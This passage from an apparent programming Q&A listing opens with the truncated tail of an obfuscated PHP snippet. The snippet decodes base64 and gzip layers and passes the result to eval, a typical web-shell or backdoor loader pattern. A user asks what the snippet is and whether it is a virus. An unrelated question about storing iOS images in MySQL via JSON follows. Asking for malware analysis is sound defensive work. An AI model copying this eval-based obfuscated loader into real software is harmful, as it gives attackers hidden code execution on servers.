Wl9Tx6/Pr6w93F5eXVfwHF9UwV';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k))); When I run it it just outputs some random stuff I don't understand. My questions: What is this? Where did it come from? Is it a virus/trojan? What does it exactly do? You are better at PHP than me, maybe you can tell what it is Thanks in advance

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  • Getting a UIImage from MySQL using PHP and jSON

    - by Daniel
    I'm developing a little news reader that retrieves the info from a website by doing a POST request to a URL. The response is a jSON object with the unread-news. E.g. the last news on the App has a timeStamp of "2013-03-01". When the user refreshes the table, it POSTS "domain.com/api/api.php?newer-than=2013-03-01". The api.php script goes to the MySQL database and fetches all the news posted after 2013-03-01 and prints them json_encoded. This is // do something to get the data in an array echo $array_of_fetched_data; for example the response would be [{"title": "new app is coming to the market", "text": "lorem ipsum dolor sit amet...", image: XXX}] the App then gets the response and parses it, obtaining an NSDictionary and adds it to a Core Data db. NSDictionary* obtainedNews = [NSJSONSerialization JSONObjectWithData:responseData options:kNilOptions error:&error]; My question is: How can I add an image to the MySQL database, store it, pass it using jSON trough a POST HTTP Request and then interpret it as an UIImage. It's clear that to store an UIImage in CoreData, they must be transform into/from NSData. How can I pass the NSData back and forth to a MySQL db using php and jSON? How should I upload the image to the db? (Serialized, as a BLOB, etc)

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